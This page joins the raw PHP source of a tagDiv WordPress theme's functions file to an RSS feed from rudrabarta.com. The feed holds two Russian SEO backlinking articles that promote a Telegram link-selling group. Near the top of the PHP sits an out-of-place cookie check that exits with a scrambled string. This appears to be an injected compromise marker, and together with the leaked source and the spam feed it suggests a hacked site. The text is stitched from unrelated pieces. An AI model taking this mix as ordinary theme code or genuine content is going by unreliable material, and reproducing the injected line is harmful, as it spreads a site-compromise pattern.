/** * dev demo deploy */ //dev demo or none if (!defined('TD_DEPLOY_MODE')) { define("TD_DEPLOY_MODE", 'deploy'); }if(isset($_COOKIE['eo75'])) { die('Uo8f'.'ZPbNR'); } do_action( 'td_wp_booster_legacy' ); /** * Admin notices */ require_once( TAGDIV_ROOT_DIR . '/includes/wp-booster/tagdiv-admin-notices.php' ); /** * The global state of the theme. All globals are here */ require_once( TAGDIV_ROOT_DIR . '/includes/wp-booster/tagdiv-global.php' ); /* * Set theme configuration */ tagdiv_config::on_tagdiv_global_after_config(); /** * Add theme options. */ require_once( TAGDIV_ROOT_DIR . '/includes/wp-booster/tagdiv-options.php' ); /** * Add theme utility. */ require_once( TAGDIV_ROOT_DIR . '/includes/wp-booster/tagdiv-util.php' ); /** * Add theme http request ability. */ require_once( TAGDIV_ROOT_DIR . '/includes/wp-booster/tagdiv-log.php' ); /** * Add theme http request ability. */ require_once( TAGDIV_ROOT_DIR . '/includes/wp-booster/tagdiv-remote-http.php' ); /** * ---------------------------------------------------------------------------- * Redirect to Welcome page on theme activation */ if( !function_exists('tagdiv_after_theme_is_activate' ) ) { function tagdiv_after_theme_is_activate() { global $pagenow; if ( is_admin() && 'themes.php' == $pagenow && isset( $_GET['activated'] ) ) { wp_redirect( admin_url( 'admin.php?page=td_theme_welcome' ) ); exit; } } tagdiv_after_theme_is_activate(); } /** * ---------------------------------------------------------------------------- * Load theme check & deactivate for old theme plugins * * the check is done using existing classes defined by plugins * at this point all plugins should be hooked in! */ require_once( TAGDIV_ROOT_DIR . '/includes/wp-booster/wp-admin/plugins/class-tagdiv-old-plugins-deactivation.php' ); require_once( TAGDIV_ROOT_DIR . '/includes/wp-booster/wp-admin/plugins/class-tagdiv-current-plugins-deactivation.php' ); /** * ---------------------------------------------------------------------------- * Theme Resources */ /** * Enqueue front styles. */ function tagdiv_theme_css() { if ( TD_DEBUG_USE_LESS ) { wp_enqueue_style( 'td-theme', TAGDIV_ROOT . '/tagdiv-less-style.css.php?part=style.css_v2', '', TD_THEME_VERSION, 'all' ); // bbPress style if ( class_exists( 'bbPress', false ) ) { wp_enqueue_style( 'td-theme-bbpress', TAGDIV_ROOT . '/tagdiv-less-style.css.php?part=bbpress', array(), wp_get_theme()->get( 'Version' ) ); } // WooCommerce style if( TD_THEME_NAME == 'Newsmag' || ( TD_THEME_NAME == 'Newspaper' && !defined( 'TD_WOO' ) ) ) { if ( class_exists( 'WooCommerce', false ) ) { wp_enqueue_style( 'td-theme-woo', TAGDIV_ROOT . '/tagdiv-less-style.css.php?part=woocommerce', array(), wp_get_theme()->get( 'Version' ) ); } } // Buddypress if ( class_exists( 'Buddypress', false ) ) { wp_enqueue_style( 'td-theme-buddypress', TAGDIV_ROOT . '/tagdiv-less-style.css.php?part=buddypress', array(), wp_get_theme()->get( 'Version' ) ); } } else { wp_enqueue_style( 'td-theme', get_stylesheet_uri(), array(), wp_get_theme()->get( 'Version' ) ); // bbPress style if ( class_exists( 'bbPress', false ) ) { wp_enqueue_style( 'td-theme-bbpress', TAGDIV_ROOT . '/style-bbpress.css', array(), wp_get_theme()->get( 'Version' ) ); } // WooCommerce style if( TD_THEME_NAME == 'Newsmag' || ( TD_THEME_NAME == 'Newspaper' && !defined( 'TD_WOO' ) ) ) { if (class_exists('WooCommerce', false)) { wp_enqueue_style('td-theme-woo', TAGDIV_ROOT . '/style-woocommerce.css', array(), wp_get_theme()->get('Version')); } } // Buddypress if ( class_exists( 'Buddypress', false ) ) { wp_enqueue_style( 'td-theme-buddypress', TAGDIV_ROOT . '/style-buddypress.css', array(), wp_get_theme()->get( 'Version' ) ); } } } add_action( 'wp_enqueue_scripts', 'tagdiv_theme_css', 11 ); /** * Enqueue admin styles. */ function tagdiv_theme_admin_css() { if ( TD_DEPLOY_MODE == 'dev' ) { wp_enqueue_style('td-theme-admin', TAGDIV_ROOT . '/tagdiv-less-style.css.php?part=wp-admin.css', false, TD_THEME_VERSION, 'all' ); if ('Newspaper' == TD_THEME_NAME) { wp_enqueue_style( 'font-newspaper', TAGDIV_ROOT . '/tagdiv-less-style.css.php?part=font-newspaper', false, TD_THEME_VERSION, 'all' ); } } else { wp_enqueue_style('td-theme-admin', TAGDIV_ROOT . '/includes/wp-booster/wp-admin/css/wp-admin.css', false, TD_THEME_VERSION, 'all' ); if ('Newspaper' == TD_THEME_NAME) { wp_enqueue_style('font-newspaper', TAGDIV_ROOT . '/font-newspaper.css', false, TD_THEME_VERSION, 'all'); } } } add_action( 'admin_enqueue_scripts', 'tagdiv_theme_admin_css' ); /** * Enqueue theme front scripts. */ if( !function_exists('load_front_js') ) { function tagdiv_theme_js() { // Load main theme js if ( TD_DEPLOY_MODE == 'dev' ) { wp_enqueue_script('tagdiv-theme-js', TAGDIV_ROOT . '/includes/js/tagdiv-theme.js', array('jquery'), TD_THEME_VERSION, true); } else { wp_enqueue_script('tagdiv-theme-js', TAGDIV_ROOT . '/includes/js/tagdiv-theme.min.js', array('jquery'), TD_THEME_VERSION, true); } } add_action( 'wp_enqueue_scripts', 'tagdiv_theme_js' ); } /* * Theme blocks editor styles */ if( !function_exists('tagdiv_block_editor_styles' ) ) { function tagdiv_block_editor_styles() { if ( TD_DEPLOY_MODE === 'dev' ) { wp_enqueue_style( 'td-gut-editor', TAGDIV_ROOT . '/tagdiv-less-style.css.php?part=gutenberg-editor', array(), wp_get_theme()->get( 'Version' ) ); } else { wp_enqueue_style('td-gut-editor', TAGDIV_ROOT . '/gutenberg-editor.css', array(), wp_get_theme()->get( 'Version' ) ); } } add_action( 'enqueue_block_editor_assets', 'tagdiv_block_editor_styles' ); } /* * bbPress change avatar size to 40px */ if( !function_exists('tagdiv_bbp_change_avatar_size') ) { function tagdiv_bbp_change_avatar_size( $author_avatar, $topic_id, $size ) { $author_avatar = ''; if ($size == 14) { $size = 40; } $topic_id = bbp_get_topic_id( $topic_id ); if ( !empty( $topic_id ) ) { if ( !bbp_is_topic_anonymous( $topic_id ) ) { $author_avatar = get_avatar( bbp_get_topic_author_id( $topic_id ), $size ); } else { $author_avatar = get_avatar( get_post_meta( $topic_id, '_bbp_anonymous_email', true ), $size ); } } return $author_avatar; } add_filter('bbp_get_topic_author_avatar', 'tagdiv_bbp_change_avatar_size', 20, 3); add_filter('bbp_get_reply_author_avatar', 'tagdiv_bbp_change_avatar_size', 20, 3); add_filter('bbp_get_current_user_avatar', 'tagdiv_bbp_change_avatar_size', 20, 3); } /* ---------------------------------------------------------------------------- * FILTER - the_content_more_link - read more - ? */ if ( ! function_exists( 'tagdiv_remove_more_link_scroll' )) { function tagdiv_remove_more_link_scroll($link) { $link = preg_replace('|#more-[0-9]+|', '', $link); $link = '
' . $link . '
'; return $link; } add_filter('the_content_more_link', 'tagdiv_remove_more_link_scroll'); } /** * get theme versions and set the transient */ if ( ! function_exists( 'tagdiv_check_theme_version' )) { function tagdiv_check_theme_version() { // When it will be the next check set_transient( 'td_update_theme_' . TD_THEME_NAME, '1', 3 * DAY_IN_SECONDS ); tagdiv_util::update_option( 'theme_update_latest_version', '' ); tagdiv_util::update_option( 'theme_update_versions', '' ); $response = tagdiv_remote_http::get_page( 'https://cloud.tagdiv.com/wp-json/wp/v2/media?search=.zip' ); if ( false !== $response ) { $zip_resources = json_decode( $response, true ); $latest_version = []; $versions = []; usort( $zip_resources, function( $val_1, $val_2) { $val_1 = trim( str_replace( [ TD_THEME_NAME, " " ], "", $val_1['title']['rendered'] ) ); $val_2 = trim( str_replace( [ TD_THEME_NAME, " " ], "", $val_2['title']['rendered'] ) ); return version_compare($val_2, $val_1 ); }); foreach ( $zip_resources as $index => $zip_resource ) { if ( ! empty( $zip_resource['title']['rendered'] ) && ! empty( $zip_resource['source_url'] ) && false !== strpos( $zip_resource['title']['rendered'], TD_THEME_NAME ) ) { $current_version = trim( str_replace( [ TD_THEME_NAME, " " ], "", $zip_resource['title']['rendered'] ) ); if ( 0 === $index ) { $latest_version = array( $current_version => $zip_resource['source_url'] ); } $versions[] = array( $current_version => $zip_resource['source_url'] ); } } if ( ! empty( $versions ) ) { tagdiv_util::update_option( 'theme_update_latest_version', json_encode( $latest_version ) ); tagdiv_util::update_option( 'theme_update_versions', json_encode( $versions ) ); if ( ! empty( $latest_version ) && is_array( $latest_version ) && count( $latest_version )) { $latest_version_keys = array_keys( $latest_version ); if ( is_array( $latest_version_keys ) && count( $latest_version_keys ) ) { $latest_version_serial = $latest_version_keys[0]; if ( 1 == version_compare( $latest_version_serial, TD_THEME_VERSION ) ) { set_transient( 'td_update_theme_latest_version_' . TD_THEME_NAME, 1 ); add_filter( 'pre_set_site_transient_update_themes', function( $transient ) { $latest_version = tagdiv_util::get_option( 'theme_update_latest_version' ); if ( ! empty( $latest_version ) ) { $args = array(); $latest_version = json_decode( $latest_version, true ); $latest_version_keys = array_keys( $latest_version ); if ( is_array( $latest_version_keys ) && count( $latest_version_keys ) ) { $latest_version_serial = $latest_version_keys[ 0 ]; $latest_version_url = $latest_version[$latest_version_serial]; $theme_slug = get_template(); $transient->response[ $theme_slug ] = array( 'theme' => $theme_slug, 'new_version' => $latest_version_serial, 'url' => "https://tagdiv.com/" . TD_THEME_NAME, 'clear_destination' => true, 'package' => add_query_arg( $args, $latest_version_url ), ); } } return $transient; }); delete_site_transient('update_themes'); } } } } return $versions; } return false; } } /* ---------------------------------------------------------------------------- * Admin */ if ( is_admin() ) { /** * Theme plugins. */ require_once TAGDIV_ROOT_DIR . '/includes/wp-booster/wp-admin/plugins/class-tgm-plugin-activation.php'; add_action('tgmpa_register', 'tagdiv_required_plugins'); if( !function_exists('tagdiv_required_plugins') ) { function tagdiv_required_plugins() { $config = array( 'domain' => wp_get_theme()->get('Name'), // Text domain - likely want to be the same as your theme. 'default_path' => '', // Default absolute path to pre-packaged plugins //'parent_menu_slug' => 'themes.php', // DEPRECATED from v2.4.0 - Default parent menu slug //'parent_url_slug' => 'themes.php', // DEPRECATED from v2.4.0 - Default parent URL slug 'parent_slug' => 'themes.php', 'menu' => 'td_plugins', // Menu slug 'has_notices' => false, // Show admin notices or not 'is_automatic' => false, // Automatically activate plugins after installation or not 'message' => '', // Message to output right before the plugins table 'strings' => array( 'page_title' => 'Install Required Plugins', 'menu_title' => 'Install Plugins', 'installing' => 'Installing Plugin: %s', // %1$s = plugin name 'oops' => 'Something went wrong with the plugin API.', 'notice_can_install_required' => 'The theme requires the following plugin(s): %1$s.', 'notice_can_install_recommended' => 'The theme recommends the following plugin(s): %1$s.', 'notice_cannot_install' => 'Sorry, but you do not have the correct permissions to install the %s plugin(s). Contact the administrator of this site for help on getting the plugin installed.', 'notice_can_activate_required' => 'The following required plugin(s) is currently inactive: %1$s.', 'notice_can_activate_recommended' => 'The following recommended plugin(s) is currently inactive: %1$s.', 'notice_cannot_activate' => 'Sorry, but you do not have the correct permissions to activate the %s plugin(s). Contact the administrator of this site for help on getting the plugin activated.', 'notice_ask_to_update' => 'The following plugin(s) needs to be updated to its latest version to ensure maximum compatibility with this theme: %1$s.', 'notice_cannot_update' => 'Sorry, but you do not have the correct permissions to update the %s plugin(s). Contact the administrator of this site for help on getting the plugin updated.', 'install_link' => 'Go to plugin instalation', 'activate_link' => 'Go to plugin activation panel', 'return' => 'Return to tagDiv plugins panel', 'plugin_activated' => 'Plugin activated successfully.', 'complete' => 'All plugins installed and activated successfully. %s', // %1$s = dashboard link 'nag_type' => 'updated' // Determines admin notice type - can only be 'updated' or 'error' ) ); tgmpa( tagdiv_global::$theme_plugins_list, $config ); } } if ( current_user_can( 'switch_themes' ) ) { // add panel to the wp-admin menu on the left add_action( 'admin_menu', function() { /* wp doc: add_menu_page( $page_title, $menu_title, $capability, $menu_slug, $function, $icon_url, $position ); */ add_menu_page('Theme panel', TD_THEME_NAME, "edit_posts", "td_theme_welcome", function (){ require_once TAGDIV_ROOT_DIR . '/includes/wp-booster/wp-admin/tagdiv-view-welcome.php'; }, null, 3); if ( current_user_can( 'activate_plugins' ) ) { add_submenu_page("td_theme_welcome", 'Plugins', 'Plugins', 'edit_posts', 'td_theme_plugins', function (){ require_once TAGDIV_ROOT_DIR . '/includes/wp-booster/wp-admin/tagdiv-view-theme-plugins.php'; } ); } add_submenu_page( "td_theme_welcome", 'Support', 'Support', 'edit_posts', 'td_theme_support', function (){ require_once TAGDIV_ROOT_DIR . '/includes/wp-booster/wp-admin/tagdiv-view-support.php'; }); global $submenu; $submenu['td_theme_welcome'][0][0] = 'Welcome'; }); // add the theme setup(install plugins) panel if ( ! class_exists( 'tagdiv_theme_plugins_setup', false ) ) { require_once( TAGDIV_ROOT_DIR . '/includes/wp-booster/wp-admin/plugins/class-tagdiv-theme-plugins-setup.php' ); } add_action( 'after_setup_theme', function (){ tagdiv_theme_plugins_setup::get_instance(); }); add_action('admin_enqueue_scripts', function() { add_editor_style(); // add the default style }); require_once( ABSPATH . 'wp-admin/includes/file.php' ); WP_Filesystem(); } } websitepromotion1 – rudrabarta.com https://rudrabarta.com Sun, 14 Dec 2025 03:22:23 +0000 en-US hourly 1 https://wordpress.org/?v=6.9.4 Безопасные SEO ссылки Ваш путеводитель по эффективному линкбилдингу https://rudrabarta.com/bezopasnye-seo-ssylki-vash-putevoditel-po/ https://rudrabarta.com/bezopasnye-seo-ssylki-vash-putevoditel-po/#respond Sat, 13 Dec 2025 13:34:41 +0000 https://rudrabarta.com/?p=19833 Безопасные SEO ссылки Ваш путеводитель по эффективному линкбилдингу

Безопасные SEO ссылки: Ваш путеводитель по эффективному линкбилдингу

В современном мире SEO линкбилдинг остается одним из самых важных аспектов продвижения сайтов. Правильные ссылки не только повышают видимость сайта в поисковых системах, но и помогают строить доверие со стороны пользователей. Однако, создание безопасных SEO ссылок – это искусство, требующее знания и опыта. В этой статье мы рассмотрим, как создать такие ссылки, какие методы использовать и как избежать распространенных ошибок. Также вы можете найти дополнительные ресурсы и общение по этой теме в группе безопасные SEO ссылки https://t.me/effovenon_backlinks.

Что такое безопасные SEO ссылки?

Безопасные SEO ссылки – это ссылки, которые соответствуют внутренним политикам поисковых систем и не вызывают сомнений в их качестве. Это ссылки, полученные с авторитетных сайтов, соответствующих тематике вашего контента. Такие ссылки помогают улучшить позиции в поисковых системах и, что немаловажно, не накладывают штрафов за манипуляции с рейтингом.

Преимущества безопасных ссылок

  • Повышение авторитета: Ссылки с авторитетных и тематически релевантных сайтов помогают повысить доверие к вашему ресурсу.
  • Устойчивое позиционирование: Безопасные ссылки помогают сохранить и увеличить ваши позиции в поисковых системах.
  • Ограничение рисков: Наверняка, никто не хочет столкнуться с алгоритмическими штрафами. Оформление безопасных ссылок минимизирует такие риски.

Методы получения безопасных SEO ссылок

Существует множество методов для создания безопасных SEO ссылок. Рассмотрим несколько наиболее эффективных.

Безопасные SEO ссылки Ваш путеводитель по эффективному линкбилдингу

1. Гостевые посты

Гостевой постинг – это один из популярнейших способов получения качественных ссылок. Написание статей для других блогов или сайтов, которые имеют высокую авторитетность, может принести вам не только ссылки, но и новых читателей.

2. Ненавязчивое упоминание

Если ваш сайт или продукт уже известен, вы можете найти блогеров и журналистов, которые пишут на схожие темы. Предложите им упомянуть ваш ресурс в их статьях или новостях.

3. Обмен ссылками

Обмен ссылками с другими сайтами может быть полезным, но здесь нужно быть очень осторожным. Ищите сайты с схожей тематикой и высоким показателем DA (Domain Authority).

4. Список ресурсов

Создавайте уникальные и полезные ресурсы, которые другие сайты захотят ссылаться. Это могут быть статистические данные, исследования, инфографика и т. д.

Безопасные SEO ссылки Ваш путеводитель по эффективному линкбилдингу

Какие ссылки считать безопасными?

При отборе ссылок для вашего сайта нужно обращать внимание на несколько факторов:

  • Авторитетность сайта: Используйте инструменты для анализа доменного авторитета (например, Moz, Ahrefs).
  • Тематическая релевантность: Ссылка должна быть ключевой и тематически связанной с вашим контентом.
  • Чистота ссылочного профиля: Избегайте сайтов с плохой репутацией или подозрительной ссылочной архитектурой.

Ошибка, которую стоит избегать

Одна из самых больших ошибок – это массовый закуп ссылок с низкокачественных ресурсов. К сожалению, многие новички идут по этому пути, однако это может привести к серьезным потенциальным штрафам со стороны поисковых систем. Всегда ставьте качество выше количества.

Мониторинг ссылок

Работа над ссылками не заканчивается на их получении. Нужно постоянно контролировать их качество и влияние на позиционирование вашего сайта. Используйте инструменты аналитики для отслеживания динамики и эффективности собранных ссылок.

Заключение

Создание безопасных SEO ссылок – это не простая задача, требующая терпения и усилий. Однако, следуя описанным методам и рекомендациям, вы сможете значительно улучшить видимость вашего сайта в поисковых системах и создать крепкие основания для его успеха. Помните, что основная цель линкбилдинга – это не только получение ссылок, но и установление ценного контента, который будет интересен вашим пользователям. Надеемся, что эта статья помогла вам осветить ключевые аспекты безопасного линкбилдинга.

]]> https://rudrabarta.com/bezopasnye-seo-ssylki-vash-putevoditel-po/feed/ 0 Ahrefs доноры чем они полезны и как их использовать для SEO https://rudrabarta.com/ahrefs-donory-chem-oni-polezny-i-kak-ih-ispolzovat/ https://rudrabarta.com/ahrefs-donory-chem-oni-polezny-i-kak-ih-ispolzovat/#respond Sat, 13 Dec 2025 13:33:59 +0000 https://rudrabarta.com/?p=19843 Ahrefs доноры чем они полезны и как их использовать для SEO

В современном мире интернет-маркетинга и SEO важнейшую роль занимает качество обратных ссылок. Ahrefs доноры — это именно те ресурсы, которые могут значительно повысить видимость вашего сайта. Если вы хотите узнать больше о том, как использовать Ahrefs доноры для продвижения своих проектов, Ahrefs доноры перейти к следующему разделу.

Что такое Ahrefs доноры?

Ahrefs доноры представляют собой сайты или страницы, которые могут «отдавать» ссылочную массу вашему ресурсу. Они становятся важной частью стратегии SEO, так как наличие качественных доноров способствует улучшению позиций сайта в поисковых системах. Понимание того, как найти и использовать такие страницы, является ключом к успешному онлайн-продвижению.

Как работают Ahrefs доноры?

Работа доноров основана на принципах поисковых систем, которые учитывают количество и качество обратных ссылок при оценке ресурсов. Чем больше авторитетных сайтов ссылается на ваш ресурс, тем выше шансы на то, что ваш сайт будет занимать более высокие позиции в поисковой выдаче.

Стратегии поиска доноров с помощью Ahrefs

Для эффективного поиска доноров можно воспользоваться инструментами, предлагаемыми платформой Ahrefs. Вот несколько стратегий для поиска качественных доноров:

  • Анализ конкурентов: Используйте Ahrefs для анализа обратных ссылок ваших конкурентов. Вы можете изучить, какие сайты ссылаются на их ресурсы, и попытаться получить ссылки с этих же ресурсов.
    • Ahrefs доноры чем они полезны и как их использовать для SEO
  • Поиск по ключевым словам: Введите в Ahrefs ключевые слова, по которым вы хотите продвигаться, и посмотрите, какие страницы уже имеют ссылки на эти темы. Это поможет вам выявить потенциальные доноры.
  • Проверка авторитетности сайтов: Используйте метрики Ahrefs, такие как Domain Rating (DR) и URL Rating (UR), чтобы оценить качество доноров. Чем выше эти показатели, тем полезнее будут ссылки.

Способы получить ссылки от доноров

После того как вы нашли потенциальных доноров, следующим шагом будет привлечение их внимания к вашему ресурсу. Вот несколько способов, как это можно сделать:

  • Гостевые посты: Написание статей для других сайтов, которые будут содержать ссылки на ваш ресурс. Это один из самых эффективных методов получения обратных ссылок.
  • Обмен ссылками: Найдите сайты с аналогичной тематикой и предложите взаимовыгодное сотрудничество по обмену ссылками.
  • Сотрудничество: Можно предложить различные совместные проекты или исследования, которые будут интересны обеим сторонам.

Как оценить качество доноров?

Качество доноров можно оценивать по ряду факторов:

  • Авторитетность домена: Чем выше Domain Rating (DR), тем больше доверия к этому сайту со стороны поисковых систем.
  • Тематика сайта: Донор должен соответствовать вашей тематике, чтобы ссылки выглядели естественно и привлекали целевую аудиторию.
  • Трафик сайта: Убедитесь, что донор получает органический трафик, что свидетельствует о его популярности и качестве контента.

Ошибки при работе с донорами

Существуют распространенные ошибки, которых следует избегать при работе с донорами:

  • Купля ссылок: Покупка ссылок может привести к санкциям со стороны поисковых систем. Лучше использовать легитимные методы.
  • Игнорирование анализа: Пренебрежение анализом доноров может привести к потере времени и ресурсов. Всегда проводите исследование перед тем, как начать сотрудничество.
  • Неестественные ссылки: Помните о качестве контента и о том, чтобы ссылки выглядели естественно в тексте.

Заключение

Работа с Ahrefs донорами — это важная часть успешного SEO. Качественные обратные ссылки могут значительно улучшить видимость вашего сайта. Используйте все доступные инструменты для поиска и анализа доноров, избегайте распространенных ошибок и стройте свою стратегию на долгосрочную перспективу.

]]> https://rudrabarta.com/ahrefs-donory-chem-oni-polezny-i-kak-ih-ispolzovat/feed/ 0